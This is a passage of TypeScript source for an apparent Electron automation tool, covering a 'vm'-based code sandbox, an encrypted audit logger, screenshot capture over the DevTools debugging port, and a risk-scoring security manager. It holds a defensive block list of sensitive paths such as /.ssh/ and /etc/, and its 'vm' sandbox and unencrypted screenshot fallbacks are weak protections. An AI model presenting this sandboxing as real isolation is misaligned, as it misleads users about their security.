201 | // Execute in isolated Node.js process
202 | const result = await this.executeInProcess(scriptPath);
203 |
204 | return result;
205 | } finally {
206 | // Cleanup
207 | try {
208 | await fs.unlink(scriptPath);
209 | await fs.rm(tempDir, { recursive: true, force: true });
210 |
211 | // Also try to clean up the parent temp directory if it's empty
212 | try {
213 | const parentTempDir = join(process.cwd(), 'temp');
214 | await fs.rmdir(parentTempDir);
215 | } catch {
216 | // Ignore if not empty or doesn't exist
217 | }
218 | } catch (cleanupError) {
219 | logger.warn(`Failed to cleanup temp files for session ${sessionId}:`, cleanupError);
220 | }
221 | }
222 | }
223 |
224 | private createSecureWrapper(userCode: string): string {
225 | return `
226 | "use strict";
227 |
228 | const vm = require('vm');
229 |
230 | // Create isolated context
231 | const originalProcess = process;
232 | const originalConsole = console;
233 |
234 | // Create safe console
235 | const safeConsole = {
236 | log: (...args) => originalConsole.log('[SANDBOX]', ...args),
237 | error: (...args) => originalConsole.error('[SANDBOX]', ...args),
238 | warn: (...args) => originalConsole.warn('[SANDBOX]', ...args),
239 | info: (...args) => originalConsole.info('[SANDBOX]', ...args),
240 | debug: (...args) => originalConsole.debug('[SANDBOX]', ...args)
241 | };
242 |
243 | // Create a secure context with only safe globals
244 | const sandboxContext = vm.createContext({
245 | console: safeConsole,
246 | Math: Math,
247 | Date: Date,
248 | JSON: JSON,
249 | parseInt: parseInt,
250 | parseFloat: parseFloat,
251 | isNaN: isNaN,
252 | isFinite: isFinite,
253 | String: String,
254 | Number: Number,
255 | Boolean: Boolean,
256 | Array: Array,
257 | Object: Object,
258 | RegExp: RegExp,
259 | Error: Error,
260 | TypeError: TypeError,
261 | RangeError: RangeError,
262 | SyntaxError: SyntaxError,
263 | // Provide a safe setTimeout that's actually synchronous for safety
264 | setTimeout: (fn, delay) => {
265 | if (typeof fn === 'function' && delay === 0) {
266 | return fn();
267 | }
268 | throw new Error('setTimeout not available in sandbox');
269 | }
270 | });
271 |
272 | try {
273 | // Execute user code in isolated VM context
274 | const result = vm.runInContext(${JSON.stringify(userCode)}, sandboxContext, {
275 | timeout: 5000, // 5 second timeout
276 | displayErrors: true,
277 | breakOnSigint: true
278 | });
279 |
280 | // Send result back
281 | originalProcess.stdout.write(JSON.stringify({
282 | success: true,
283 | result: result
284 | }));
285 | } catch (error) {
286 | originalProcess.stdout.write(JSON.stringify({
287 | success: false,
288 | error: error.message,
289 | stack: error.stack
290 | }));
291 | }
292 | `;
293 | }
294 |
295 | private executeInProcess(scriptPath: string): Promise<any> {
296 | return new Promise((resolve, reject) => {
297 | const child = spawn('node', [scriptPath], {
298 | stdio: ['ignore', 'pipe', 'pipe'],
299 | timeout: this.options.timeout,
300 | });
301 |
302 | let stdout = '';
303 | let stderr = '';
304 |
305 | child.stdout.on('data', (data) => {
306 | stdout += data.toString();
307 | });
308 |
309 | child.stderr.on('data', (data) => {
310 | stderr += data.toString();
311 | });
312 |
313 | child.on('close', (code) => {
314 | if (code === 0) {
315 | try {
316 | const result = JSON.parse(stdout);
317 | if (result.success) {
318 | resolve(result.result);
319 | } else {
320 | reject(new Error(result.error));
321 | }
322 | } catch (parseError) {
323 | reject(new Error(`Failed to parse execution result: ${parseError}`));
324 | }
325 | } else {
326 | reject(new Error(`Process exited with code ${code}: ${stderr}`));
327 | }
328 | });
329 |
330 | child.on('error', (error) => {
331 | reject(error);
332 | });
333 | });
334 | }
335 | }
336 |
```
--------------------------------------------------------------------------------
/src/security/audit.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { promises as fs, mkdirSync, writeFileSync, chmodSync, readFileSync } from 'fs';
2 | import { join } from 'path';
3 | import { createHash, randomBytes, createCipheriv, createDecipheriv } from 'crypto';
4 | import { logger } from '../utils/logger';
5 |
6 | export interface AuditLogEntry {
7 | timestamp: string;
8 | sessionId: string;
9 | action: string;
10 | command?: string;
11 | riskLevel: 'low' | 'medium' | 'high' | 'critical';
12 | success: boolean;
13 | error?: string;
14 | executionTime: number;
15 | sourceIP?: string;
16 | userAgent?: string;
17 | }
18 |
19 | export interface SecurityMetrics {
20 | totalRequests: number;
21 | blockedRequests: number;
22 | highRiskRequests: number;
23 | criticalRiskRequests: number;
24 | averageExecutionTime: number;
25 | topCommands: { command: string; count: number }[];
26 | errorRate: number;
27 | }
28 |
29 | export class SecurityLogger {
30 | private logDir: string;
31 | private encryptionKey: Buffer;
32 |
33 | constructor(logDir: string = 'logs/security') {
34 | this.logDir = logDir;
35 | this.encryptionKey = this.getOrCreateEncryptionKey();
36 | // Note: ensureLogDirectory is called in logSecurityEvent to handle async properly
37 | }
38 |
39 | async logSecurityEvent(entry: AuditLogEntry): Promise<void> {
40 | try {
41 | // Ensure directory exists before writing
42 | await this.ensureLogDirectory();
43 |
44 | const logFile = this.getLogFilePath(new Date());
45 | const encryptedEntry = this.encryptLogEntry(entry);
46 | const logLine = JSON.stringify(encryptedEntry) + '\n';
47 |
48 | await fs.appendFile(logFile, logLine, 'utf8');
49 |
50 | // Also log to console for immediate monitoring
51 | const logLevel = this.getLogLevel(entry.riskLevel);
52 | logger[logLevel](
53 | `Security Event [${entry.action}]: ${entry.success ? 'SUCCESS' : 'BLOCKED'}`,
54 | {
55 | sessionId: entry.sessionId,
56 | riskLevel: entry.riskLevel,
57 | executionTime: entry.executionTime,
58 | },
59 | );
60 | } catch (error) {
61 | logger.error('Failed to write security log:', error);
62 | }
63 | }
64 |
65 | async getSecurityMetrics(since?: Date): Promise<SecurityMetrics> {
66 | try {
67 | const entries = await this.readLogEntries(since);
68 |
69 | const totalRequests = entries.length;
70 | const blockedRequests = entries.filter((e) => !e.success).length;
71 | const highRiskRequests = entries.filter((e) => e.riskLevel === 'high').length;
72 | const criticalRiskRequests = entries.filter((e) => e.riskLevel === 'critical').length;
73 |
74 | const totalExecutionTime = entries.reduce((sum, e) => sum + e.executionTime, 0);
75 | const averageExecutionTime = totalRequests > 0 ? totalExecutionTime / totalRequests : 0;
76 |
77 | const commandCounts = new Map<string, number>();
78 | entries.forEach((e) => {
79 | if (e.command) {
80 | const truncated = e.command.substring(0, 50);
81 | commandCounts.set(truncated, (commandCounts.get(truncated) || 0) + 1);
82 | }
83 | });
84 |
85 | const topCommands = Array.from(commandCounts.entries())
86 | .sort((a, b) => b[1] - a[1])
87 | .slice(0, 10)
88 | .map(([command, count]) => ({ command, count }));
89 |
90 | const errorRate = totalRequests > 0 ? blockedRequests / totalRequests : 0;
91 |
92 | return {
93 | totalRequests,
94 | blockedRequests,
95 | highRiskRequests,
96 | criticalRiskRequests,
97 | averageExecutionTime,
98 | topCommands,
99 | errorRate,
100 | };
101 | } catch (error) {
102 | logger.error('Failed to generate security metrics:', error);
103 | throw error;
104 | }
105 | }
106 |
107 | async searchLogs(criteria: {
108 | action?: string;
109 | riskLevel?: string;
110 | since?: Date;
111 | until?: Date;
112 | limit?: number;
113 | }): Promise<AuditLogEntry[]> {
114 | try {
115 | const entries = await this.readLogEntries(criteria.since, criteria.until);
116 |
117 | let filtered = entries;
118 |
119 | if (criteria.action) {
120 | filtered = filtered.filter((e) => e.action === criteria.action);
121 | }
122 |
123 | if (criteria.riskLevel) {
124 | filtered = filtered.filter((e) => e.riskLevel === criteria.riskLevel);
125 | }
126 |
127 | if (criteria.limit) {
128 | filtered = filtered.slice(0, criteria.limit);
129 | }
130 |
131 | return filtered;
132 | } catch (error) {
133 | logger.error('Failed to search security logs:', error);
134 | throw error;
135 | }
136 | }
137 |
138 | private async ensureLogDirectory(): Promise<void> {
139 | try {
140 | await fs.mkdir(this.logDir, { recursive: true });
141 | } catch (error) {
142 | logger.error('Failed to create log directory:', error);
143 | }
144 | }
145 |
146 | private getOrCreateEncryptionKey(): Buffer {
147 | const keyPath = join(this.logDir, '.security-key');
148 |
149 | try {
150 | // Try to read existing key
151 | const keyData = readFileSync(keyPath);
152 | return Buffer.from(keyData);
153 | } catch {
154 | // Generate new key
155 | const key = randomBytes(32);
156 | try {
157 | // Ensure directory exists before writing key
158 | mkdirSync(this.logDir, { recursive: true });
159 | writeFileSync(keyPath, key);
160 | // Restrict permissions on the key file
161 | chmodSync(keyPath, 0o600);
162 | } catch (error) {
163 | logger.warn('Failed to save encryption key:', error);
164 | }
165 | return key;
166 | }
167 | }
168 |
169 | private encryptLogEntry(entry: AuditLogEntry): any {
170 | const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
171 | const encrypted: any = { ...entry };
172 |
173 | for (const field of sensitiveFields) {
174 | if (encrypted[field]) {
175 | const value = String(encrypted[field]);
176 | encrypted[field] = this.encryptString(value);
177 | }
178 | }
179 |
180 | return encrypted;
181 | }
182 |
183 | private encryptString(text: string): string {
184 | try {
185 | const iv = randomBytes(16);
186 | const cipher = createCipheriv('aes-256-cbc', this.encryptionKey, iv);
187 | let encrypted = cipher.update(text, 'utf8', 'hex');
188 | encrypted += cipher.final('hex');
189 | return iv.toString('hex') + ':' + encrypted;
190 | } catch {
191 | // Fallback to hash if encryption fails
192 | return createHash('sha256').update(text).digest('hex');
193 | }
194 | }
195 |
196 | private decryptString(encryptedText: string): string {
197 | try {
198 | const parts = encryptedText.split(':');
199 | if (parts.length !== 2) return '[ENCRYPTED]';
200 |
201 | const iv = Buffer.from(parts[0], 'hex');
202 | const encrypted = parts[1];
203 |
204 | const decipher = createDecipheriv('aes-256-cbc', this.encryptionKey, iv);
205 | let decrypted = decipher.update(encrypted, 'hex', 'utf8');
206 | decrypted += decipher.final('utf8');
207 | return decrypted;
208 | } catch {
209 | return '[ENCRYPTED]';
210 | }
211 | }
212 |
213 | private getLogFilePath(date: Date): string {
214 | const dateStr = date.toISOString().split('T')[0]; // YYYY-MM-DD
215 | return join(this.logDir, `security-${dateStr}.log`);
216 | }
217 |
218 | private getLogLevel(riskLevel: string): 'info' | 'warn' | 'error' {
219 | switch (riskLevel) {
220 | case 'critical':
221 | return 'error';
222 | case 'high':
223 | return 'error';
224 | case 'medium':
225 | return 'warn';
226 | default:
227 | return 'info';
228 | }
229 | }
230 |
231 | private async readLogEntries(since?: Date, until?: Date): Promise<AuditLogEntry[]> {
232 | const entries: AuditLogEntry[] = [];
233 | const now = new Date();
234 | const startDate = since || new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); // 30 days ago
235 | const endDate = until || now;
236 |
237 | // Read log files for the date range
238 | const currentDate = new Date(startDate);
239 | while (currentDate <= endDate) {
240 | const logFile = this.getLogFilePath(currentDate);
241 |
242 | try {
243 | const content = await fs.readFile(logFile, 'utf8');
244 | const lines = content.trim().split('\n');
245 |
246 | for (const line of lines) {
247 | if (line.trim()) {
248 | try {
249 | const entry = JSON.parse(line);
250 | entries.push(this.decryptLogEntry(entry));
251 | } catch (parseError) {
252 | logger.warn('Failed to parse log entry:', parseError);
253 | }
254 | }
255 | }
256 | } catch {
257 | // File doesn't exist or can't be read - skip silently
258 | }
259 |
260 | currentDate.setDate(currentDate.getDate() + 1);
261 | }
262 |
263 | return entries.sort(
264 | (a, b) => new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(),
265 | );
266 | }
267 |
268 | private decryptLogEntry(entry: any): AuditLogEntry {
269 | const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
270 | const decrypted = { ...entry };
271 |
272 | for (const field of sensitiveFields) {
273 | if (decrypted[field]) {
274 | decrypted[field] = this.decryptString(decrypted[field]);
275 | }
276 | }
277 |
278 | return decrypted as AuditLogEntry;
279 | }
280 | }
281 |
282 | // Global security logger instance
283 | export const securityLogger = new SecurityLogger();
284 |
```
--------------------------------------------------------------------------------
/src/screenshot.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { chromium } from 'playwright';
2 | import * as fs from 'fs/promises';
3 | import { createCipheriv, randomBytes, pbkdf2Sync } from 'crypto';
4 | import { logger } from './utils/logger';
5 | import { scanForElectronApps } from './utils/electron-discovery';
6 | import * as path from 'path';
7 |
8 | // Generate a fallback encryption key if none is provided
9 | function generateFallbackKey(): string {
10 | const fallbackKey = randomBytes(32).toString('hex');
11 | logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY not set - using temporary key for this session');
12 | logger.warn('⚠️ Screenshots will not be decryptable after restart!');
13 | logger.warn('⚠️ For production use, set SCREENSHOT_ENCRYPTION_KEY environment variable');
14 | logger.warn('⚠️ Generate a permanent key with: openssl rand -hex 32');
15 | return fallbackKey;
16 | }
17 |
18 | // Validate and get encryption key with fallback
19 | function getEncryptionKey(): string {
20 | const key = process.env.SCREENSHOT_ENCRYPTION_KEY;
21 |
22 | if (!key) {
23 | return generateFallbackKey();
24 | }
25 |
26 | if (key === 'default-screenshot-key-change-me') {
27 | logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY is set to default value - using temporary key');
28 | logger.warn('⚠️ Please set a secure key with: openssl rand -hex 32');
29 | return generateFallbackKey();
30 | }
31 |
32 | if (key.length < 32) {
33 | logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY too short - using temporary key');
34 | logger.warn('⚠️ Key must be at least 32 characters. Generate with: openssl rand -hex 32');
35 | return generateFallbackKey();
36 | }
37 |
38 | return key;
39 | }
40 |
41 | interface EncryptedScreenshot {
42 | encryptedData: string;
43 | iv: string;
44 | salt: string; // Add salt to be stored with encrypted data
45 | timestamp: string;
46 | }
47 |
48 | /**
49 | * Validate if a file path is safe for screenshot output
50 | */
51 | function validateScreenshotPath(outputPath: string): boolean {
52 | if (!outputPath) return true;
53 |
54 | // Normalize the path to detect path traversal
55 | const normalizedPath = path.normalize(outputPath);
56 |
57 | // Block dangerous paths
58 | const dangerousPaths = [
59 | '/etc/',
60 | '/sys/',
61 | '/proc/',
62 | '/dev/',
63 | '/bin/',
64 | '/sbin/',
65 | '/usr/bin/',
66 | '/usr/sbin/',
67 | '/root/',
68 | '/home/',
69 | '/.ssh/',
70 | 'C:\\Windows\\System32\\',
71 | 'C:\\Windows\\SysWOW64\\',
72 | 'C:\\Program Files\\',
73 | 'C:\\Users\\',
74 | '\\Windows\\System32\\',
75 | '\\Windows\\SysWOW64\\',
76 | '\\Program Files\\',
77 | '\\Users\\',
78 | ];
79 |
80 | // Check for dangerous path patterns
81 | for (const dangerousPath of dangerousPaths) {
82 | if (normalizedPath.toLowerCase().includes(dangerousPath.toLowerCase())) {
83 | return false;
84 | }
85 | }
86 |
87 | // Block path traversal attempts
88 | if (normalizedPath.includes('..') || normalizedPath.includes('~')) {
89 | return false;
90 | }
91 |
92 | // Block absolute paths to system directories
93 | if (path.isAbsolute(normalizedPath)) {
94 | const absolutePath = normalizedPath.toLowerCase();
95 | if (
96 | absolutePath.startsWith('/etc') ||
97 | absolutePath.startsWith('/sys') ||
98 | absolutePath.startsWith('/proc') ||
99 | absolutePath.startsWith('c:\\windows') ||
100 | absolutePath.startsWith('c:\\program files')
101 | ) {
102 | return false;
103 | }
104 | }
105 |
106 | return true;
107 | }
108 |
109 | // Validate that required environment variables are set
110 | function validateEnvironmentVariables(): string {
111 | return getEncryptionKey();
112 | }
113 |
114 | // Encrypt screenshot data for secure storage and transmission
115 | function encryptScreenshotData(buffer: Buffer): EncryptedScreenshot {
116 | try {
117 | // Get validated encryption key (with fallback)
118 | const password = validateEnvironmentVariables();
119 |
120 | const algorithm = 'aes-256-cbc';
121 | const iv = randomBytes(16);
122 |
123 | // Derive a proper key from the password using PBKDF2
124 | const salt = randomBytes(32);
125 | const key = pbkdf2Sync(password, salt, 100000, 32, 'sha512');
126 |
127 | const cipher = createCipheriv(algorithm, key, iv);
128 | let encrypted = cipher.update(buffer.toString('base64'), 'utf8', 'hex');
129 | encrypted += cipher.final('hex');
130 |
131 | return {
132 | encryptedData: encrypted,
133 | iv: iv.toString('hex'),
134 | salt: salt.toString('hex'), // Store salt with encrypted data
135 | timestamp: new Date().toISOString(),
136 | };
137 | } catch (error) {
138 | logger.warn('Failed to encrypt screenshot data:', error);
139 | // Fallback to base64 encoding if encryption fails
140 | return {
141 | encryptedData: buffer.toString('base64'),
142 | iv: '',
143 | salt: '', // Empty salt for fallback
144 | timestamp: new Date().toISOString(),
145 | };
146 | }
147 | }
148 |
149 | // Helper function to take screenshot using only Playwright CDP (Chrome DevTools Protocol)
150 | export async function takeScreenshot(
151 | outputPath?: string,
152 | windowTitle?: string,
153 | ): Promise<{
154 | filePath?: string;
155 | base64: string;
156 | data: string;
157 | error?: string;
158 | }> {
159 | // Validate output path for security
160 | if (outputPath && !validateScreenshotPath(outputPath)) {
161 | throw new Error(
162 | `Invalid output path: ${outputPath}. Path appears to target a restricted system location.`,
163 | );
164 | }
165 |
166 | // Inform user about screenshot
167 | logger.info('📸 Taking screenshot of Electron application', {
168 | outputPath,
169 | windowTitle,
170 | timestamp: new Date().toISOString(),
171 | });
172 | try {
173 | // Find running Electron applications
174 | const apps = await scanForElectronApps();
175 | if (apps.length === 0) {
176 | throw new Error('No running Electron applications found with remote debugging enabled');
177 | }
178 |
179 | // Use the first app found (or find by title if specified)
180 | let targetApp = apps[0];
181 | if (windowTitle) {
182 | const namedApp = apps.find((app) =>
183 | app.targets.some((target) =>
184 | target.title?.toLowerCase().includes(windowTitle.toLowerCase()),
185 | ),
186 | );
187 | if (namedApp) {
188 | targetApp = namedApp;
189 | }
190 | }
191 |
192 | // Connect to the Electron app's debugging port
193 | const browser = await chromium.connectOverCDP(`http://localhost:${targetApp.port}`);
194 | const contexts = browser.contexts();
195 |
196 | if (contexts.length === 0) {
197 | throw new Error(
198 | 'No browser contexts found - make sure Electron app is running with remote debugging enabled',
199 | );
200 | }
201 |
202 | const context = contexts[0];
203 | const pages = context.pages();
204 |
205 | if (pages.length === 0) {
206 | throw new Error('No pages found in the browser context');
207 | }
208 |
209 | // Find the main application page (skip DevTools pages)
210 | let targetPage = pages[0];
211 | for (const page of pages) {
212 | const url = page.url();
213 | const title = await page.title().catch(() => '');
214 |
215 | // Skip DevTools and about:blank pages
216 | if (
217 | !url.includes('devtools://') &&
218 | !url.includes('about:blank') &&
219 | title &&
220 | !title.includes('DevTools')
221 | ) {
222 | // If windowTitle is specified, try to match it
223 | if (windowTitle && title.toLowerCase().includes(windowTitle.toLowerCase())) {
224 | targetPage = page;
225 | break;
226 | } else if (!windowTitle) {
227 | targetPage = page;
228 | break;
229 | }
230 | }
231 | }
232 |
233 | logger.info(`Taking screenshot of page: ${targetPage.url()} (${await targetPage.title()})`);
234 |
235 | // Take screenshot as buffer (in memory)
236 | const screenshotBuffer = await targetPage.screenshot({
237 | type: 'png',
238 | fullPage: false,
239 | });
240 |
241 | await browser.close();
242 |
243 | // Encrypt screenshot data for security
244 | const encryptedScreenshot = encryptScreenshotData(screenshotBuffer);
245 |
246 | // Convert buffer to base64 for transmission
247 | const base64Data = screenshotBuffer.toString('base64');
248 | logger.info(
249 | `Screenshot captured and encrypted successfully (${screenshotBuffer.length} bytes)`,
250 | );
251 |
252 | // If outputPath is provided, save encrypted data to file
253 | if (outputPath) {
254 | await fs.writeFile(outputPath + '.encrypted', JSON.stringify(encryptedScreenshot));
255 | // Also save unencrypted for compatibility (in production, consider removing this)
256 | await fs.writeFile(outputPath, screenshotBuffer);
257 | return {
258 | filePath: outputPath,
259 | base64: base64Data,
260 | data: `Screenshot saved to: ${outputPath} (encrypted backup: ${outputPath}.encrypted) and returned as base64 data`,
261 | };
262 | } else {
263 | return {
264 | base64: base64Data,
265 | data: `Screenshot captured as base64 data (${screenshotBuffer.length} bytes) - no file saved`,
266 | };
267 | }
268 | } catch (error) {
269 | const errorMessage = error instanceof Error ? error.message : String(error);
270 | throw new Error(
271 | `Screenshot failed: ${errorMessage}. Make sure the Electron app is running with remote debugging enabled (--remote-debugging-port=9222)`,
272 | );
273 | }
274 | }
275 |
```
--------------------------------------------------------------------------------
/src/security/manager.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { CodeSandbox, SandboxResult } from './sandbox';
2 | import { InputValidator } from './validation';
3 | import { securityLogger, AuditLogEntry } from './audit';
4 | import { randomUUID } from 'crypto';
5 | import { logger } from '../utils/logger';
6 | import { SecurityLevel, getSecurityConfig, getDefaultSecurityLevel } from './config';
7 |
8 | export interface SecurityConfig {
9 | enableSandbox: boolean;
10 | enableInputValidation: boolean;
11 | enableAuditLog: boolean;
12 | enableScreenshotEncryption: boolean;
13 | defaultRiskThreshold: 'low' | 'medium' | 'high' | 'critical';
14 | sandboxTimeout: number;
15 | maxExecutionTime: number;
16 | }
17 |
18 | export interface SecureExecutionContext {
19 | command: string;
20 | args?: any;
21 | sourceIP?: string;
22 | userAgent?: string;
23 | operationType: 'command' | 'screenshot' | 'logs' | 'window_info';
24 | }
25 |
26 | export interface SecureExecutionResult {
27 | success: boolean;
28 | result?: any;
29 | error?: string;
30 | executionTime: number;
31 | riskLevel: 'low' | 'medium' | 'high' | 'critical';
32 | blocked: boolean;
33 | sessionId: string;
34 | }
35 |
36 | export class SecurityManager {
37 | private config: SecurityConfig;
38 | private sandbox: CodeSandbox;
39 | private securityLevel: SecurityLevel;
40 | private sandboxCache = new Map<string, boolean>();
41 |
42 | constructor(config: Partial<SecurityConfig> = {}, securityLevel?: SecurityLevel) {
43 | this.securityLevel = securityLevel || getDefaultSecurityLevel();
44 | const defaultConfig = getSecurityConfig(this.securityLevel);
45 |
46 | this.config = {
47 | enableSandbox: true,
48 | enableInputValidation: true,
49 | enableAuditLog: true,
50 | enableScreenshotEncryption: true,
51 | defaultRiskThreshold: 'medium',
52 | sandboxTimeout: 5000,
53 | maxExecutionTime: 30000,
54 | ...defaultConfig,
55 | ...config,
56 | };
57 |
58 | // Set the security level in the validator
59 | InputValidator.setSecurityLevel(this.securityLevel);
60 |
61 | this.sandbox = new CodeSandbox({
62 | timeout: this.config.sandboxTimeout,
63 | maxMemory: 50 * 1024 * 1024, // 50MB
64 | });
65 |
66 | logger.info('Security Manager initialized with config:', {
67 | ...this.config,
68 | securityLevel: this.securityLevel,
69 | });
70 | }
71 |
72 | setSecurityLevel(level: SecurityLevel) {
73 | this.securityLevel = level;
74 | InputValidator.setSecurityLevel(level);
75 |
76 | // Update config based on new security level
77 | const newConfig = getSecurityConfig(level);
78 | this.config = { ...this.config, ...newConfig };
79 |
80 | logger.info(`Security level updated to: ${level}`);
81 | }
82 |
83 | getSecurityLevel(): SecurityLevel {
84 | return this.securityLevel;
85 | }
86 |
87 | async executeSecurely(context: SecureExecutionContext): Promise<SecureExecutionResult> {
88 | const sessionId = randomUUID();
89 | const startTime = Date.now();
90 |
91 | logger.info(`Secure execution started [${sessionId}]`, {
92 | command: context.command.substring(0, 100),
93 | operationType: context.operationType,
94 | });
95 |
96 | try {
97 | // Step 1: Input Validation
98 | const validation = InputValidator.validateCommand({
99 | command: context.command,
100 | args: context.args,
101 | });
102 |
103 | if (!validation.isValid) {
104 | const reason = `Input validation failed: ${validation.errors.join(', ')}`;
105 | return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
106 | }
107 |
108 | // Step 2: Risk Assessment
109 | if (
110 | validation.riskLevel === 'critical' ||
111 | (this.config.defaultRiskThreshold === 'high' && validation.riskLevel === 'high')
112 | ) {
113 | const reason = `Risk level too high: ${validation.riskLevel}`;
114 | return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
115 | }
116 |
117 | // Step 3: Sandboxed Execution (for JavaScript code execution only, not command dispatch)
118 | let executionResult: SandboxResult;
119 | if (
120 | context.operationType === 'command' &&
121 | this.config.enableSandbox &&
122 | this.shouldSandboxCommand(context.command)
123 | ) {
124 | // Only sandbox if this looks like actual JavaScript code, not a command name
125 | executionResult = await this.sandbox.executeCode(validation.sanitizedInput.command);
126 | } else {
127 | // For command names (like 'click_by_text') and other operations, skip sandbox
128 | // The actual JavaScript generation and execution happens in the enhanced commands
129 | executionResult = {
130 | success: true,
131 | result: validation.sanitizedInput.command,
132 | executionTime: 0,
133 | };
134 | }
135 |
136 | // Step 4: Create result
137 | const result: SecureExecutionResult = {
138 | success: executionResult.success,
139 | result: executionResult.result,
140 | error: executionResult.error,
141 | executionTime: Date.now() - startTime,
142 | riskLevel: validation.riskLevel,
143 | blocked: false,
144 | sessionId,
145 | };
146 |
147 | // Step 5: Audit Logging
148 | if (this.config.enableAuditLog) {
149 | await this.logSecurityEvent(context, result);
150 | }
151 |
152 | logger.info(`Secure execution completed [${sessionId}]`, {
153 | success: result.success,
154 | executionTime: result.executionTime,
155 | riskLevel: result.riskLevel,
156 | });
157 |
158 | return result;
159 | } catch (error) {
160 | const result: SecureExecutionResult = {
161 | success: false,
162 | error: error instanceof Error ? error.message : String(error),
163 | executionTime: Date.now() - startTime,
164 | riskLevel: 'high',
165 | blocked: false,
166 | sessionId,
167 | };
168 |
169 | if (this.config.enableAuditLog) {
170 | await this.logSecurityEvent(context, result);
171 | }
172 |
173 | logger.error(`Secure execution failed [${sessionId}]:`, error);
174 | return result;
175 | }
176 | }
177 |
178 | updateConfig(newConfig: Partial<SecurityConfig>): void {
179 | this.config = { ...this.config, ...newConfig };
180 | logger.info('Security configuration updated:', newConfig);
181 | }
182 |
183 | getConfig(): SecurityConfig {
184 | return { ...this.config };
185 | }
186 |
187 | // Private helper methods
188 | private createBlockedResult(
189 | sessionId: string,
190 | startTime: number,
191 | reason: string,
192 | riskLevel: 'low' | 'medium' | 'high' | 'critical',
193 | ): SecureExecutionResult {
194 | return {
195 | success: false,
196 | error: reason,
197 | executionTime: Date.now() - startTime,
198 | riskLevel,
199 | blocked: true,
200 | sessionId,
201 | };
202 | }
203 |
204 | private async logSecurityEvent(
205 | context: SecureExecutionContext,
206 | result: SecureExecutionResult,
207 | ): Promise<void> {
208 | const logEntry: AuditLogEntry = {
209 | timestamp: new Date().toISOString(),
210 | sessionId: result.sessionId,
211 | action: context.operationType,
212 | command: context.command,
213 | riskLevel: result.riskLevel,
214 | success: result.success,
215 | error: result.error,
216 | executionTime: result.executionTime,
217 | sourceIP: context.sourceIP,
218 | userAgent: context.userAgent,
219 | };
220 |
221 | await securityLogger.logSecurityEvent(logEntry);
222 | }
223 |
224 | /**
225 | * Determines if a command should be executed in a sandbox
226 | * @param command The command to check
227 | * @returns true if the command should be sandboxed
228 | */
229 | shouldSandboxCommand(command: string): boolean {
230 | // Check cache first for performance
231 | if (this.sandboxCache.has(command)) {
232 | return this.sandboxCache.get(command)!;
233 | }
234 |
235 | const result = this._shouldSandboxCommand(command);
236 |
237 | // Cache result (limit cache size to prevent memory leaks)
238 | if (this.sandboxCache.size < 1000) {
239 | this.sandboxCache.set(command, result);
240 | }
241 |
242 | return result;
243 | }
244 |
245 | /**
246 | * Internal method to determine if a command should be sandboxed
247 | */
248 | private _shouldSandboxCommand(command: string): boolean {
249 | // Skip sandboxing for simple command names (like MCP tool names)
250 | if (this.isSimpleCommandName(command)) {
251 | return false;
252 | }
253 |
254 | // Sandbox if it looks like JavaScript code
255 | const jsIndicators = [
256 | '(', // Function calls
257 | 'document.', // DOM access
258 | 'window.', // Window object access
259 | 'const ', // Variable declarations
260 | 'let ', // Variable declarations
261 | 'var ', // Variable declarations
262 | 'function', // Function definitions
263 | '=>', // Arrow functions
264 | 'eval(', // Direct eval calls
265 | 'new ', // Object instantiation
266 | 'this.', // Object method calls
267 | '=', // Assignments (but not comparison)
268 | ';', // Statement separators
269 | '{', // Code blocks
270 | 'return', // Return statements
271 | ];
272 |
273 | return jsIndicators.some((indicator) => command.includes(indicator));
274 | }
275 |
276 | /**
277 | * Checks if a command is a simple command name (not JavaScript code)
278 | * @param command The command to check
279 | * @returns true if it's a simple command name
280 | */
281 | private isSimpleCommandName(command: string): boolean {
282 | // Simple command names are typically:
283 | // - Single words or snake_case/kebab-case
284 | // - No spaces except between simple arguments
285 | // - No JavaScript syntax
286 |
287 | const simpleCommandPattern = /^[a-zA-Z_][a-zA-Z0-9_-]*(\s+[a-zA-Z0-9_-]+)*$/;
288 | return simpleCommandPattern.test(command.trim());
289 | }
290 | }
291 |
292 | // Global security manager instance
293 | export const securityManager = new SecurityManager();
294 |
```